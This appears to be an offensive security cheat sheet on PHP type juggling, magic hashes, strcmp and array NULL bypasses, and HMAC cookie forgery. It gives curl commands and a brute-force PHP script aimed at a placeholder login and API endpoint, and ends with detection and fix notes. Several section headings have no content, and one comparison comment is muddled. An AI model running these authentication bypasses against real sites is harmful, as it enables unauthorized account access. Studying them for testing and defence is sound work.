PHP Type Juggling

PHP Type Juggling and Magic Hash Attacks

Authorized-use only. Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.

PHP is a loosely typed language. When comparing values with == (loose) rather than === (strict), PHP coerces types — a string beginning with 0e followed only by digits is treated as scientific notation and equals 0. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.

Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.

ATT&CK Mapping

1. Loose Comparison Cheat Sheet

'0010e2'  == '1e3'      → true   (both evaluate as float 1000)
'123'     == 123        → true   (string cast to int)
'123abc'  == 123        → true   (leading numeric string)
'abc'     == 0          → true   (non-numeric string == 0 in PHP 5/7)
''        == 0          → true
0         == false      → true
false     == NULL       → true
NULL      == ''         → true
md5([])   == NULL       → true   (NULL == any string starting with 0e)
sha1([])  == NULL       → true

PHP 8.0 change: 'abc' == 0 now evaluates to false. Check target PHP version before assuming string-zero bypass.

2. Magic Hashes — 0e Collisions

When a hash output starts with 0e followed only by digits, PHP's == comparison treats it as float 0. Two such hashes are "equal" under == regardless of their actual values.

MD5 Magic Strings

SHA-1 Magic Strings

SHA-224 / SHA-256 Magic Strings

Exploitation

# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.

# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
  echo -n "Trying $magic: "
  curl -si "https://target.example.com/login" \
    -d "username=admin&password=${magic}" \
    | grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done

3. NULL Bypass via Array Input

md5([]) and sha1([]) in PHP 5/7 return NULL with a warning. Under loose comparison, NULL == '' is true. If the server compares md5($input) == '' or similar:

# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
  -d "username=admin&password[]=" \
  | grep -E "Location:|Set-Cookie:|error"

# POST with array notation
curl -si "https://target.example.com/verify" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "hash[]=&user=admin" \
  | grep -i "success\|error\|redirect"

4. strcmp() Return Value Bypass

strcmp() returns 0 (equal) on success, non-zero otherwise. Under loose comparison, strcmp($input, $secret) == 0 can be bypassed by passing an array (returns NULL, and NULL == 0 is true in PHP 5/7):

# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
  -d "username=admin&pass[]=" \
  | grep -iE "success|welcome|redirect|Location"

5. HMAC Brute-Force for 0e Collision (Magic HMAC)

When a cookie HMAC is verified with loose comparison against "0", an attacker brute-forces an expiration timestamp until hash_hmac('md5', payload, key) produces a 0e... string — which equals "0" under ==.

This works when the key is empty or known (e.g., leaked via .env).

# PHP script to find a magic HMAC timestamp (empty key example)
# Run: php find_magic_hmac.php
cat > /tmp/find_magic_hmac.php << 'EOF'
<?php
$username = 'admin';
$key = '';  // replace with known key or empty string leak
for ($i = 1424869663; $i < 1835970773; $i++) {
    $out = hash_hmac('md5', $username . '|' . $i, $key);
    if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {
        echo "Found: expiration=$i hash=$out\n";
        break;
    }
}
EOF
php /tmp/find_magic_hmac.php

# Then craft the cookie with hmac=0 and the found expiration
# cookie: username=admin; expiration=<found>; hmac=0

6. Type Juggling in JSON APIs

JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison:

# Send integer 0 instead of string "false"/"no"
curl -si "https://target.example.com/api/verify" \
  -H "Content-Type: application/json" \
  -d '{"token": 0, "user": "admin"}' \
  | grep -iE "success|error|200"

# Send true to bypass boolean checks
curl -si "https://target.example.com/api/verify" \
  -H "Content-Type: application/json" \
  -d '{"admin": true, "role": "admin"}' \
  | grep -iE "success|error|200"

7. Identify Vulnerable PHP Code Patterns

# Grep the target's source (if accessible — e.g., leaked backup, open source app)
grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null
grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null
grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null

# Look for PHP version to assess 0e / array bypass viability
curl -si "https://target.example.com/info.php" | grep -i "PHP Version"
curl -si "https://target.example.com/" | grep -i "x-powered-by"

8. Common Targets in the Wild

Detection Notes

• PHP 8.0+ resolves 'abc' == 0 → false and makes strcmp throw on array input; PHP 7 and below remain vulnerable
• Static analysis: psalm --taint-analysis, phpstan level 8 flag loose comparisons
• Dynamic: supply [] for hash/strcmp parameters, observe PHP warning in response or error logs
• Fix: always use === for hash comparisons and hash_equals() for timing-safe HMAC checks

References

• PayloadsAllTheThings: Type Juggling
• OWASP: PHP Type Juggling
• Magic Hashes — spaze/hashes
• Super Magic Hashes — Almond Consulting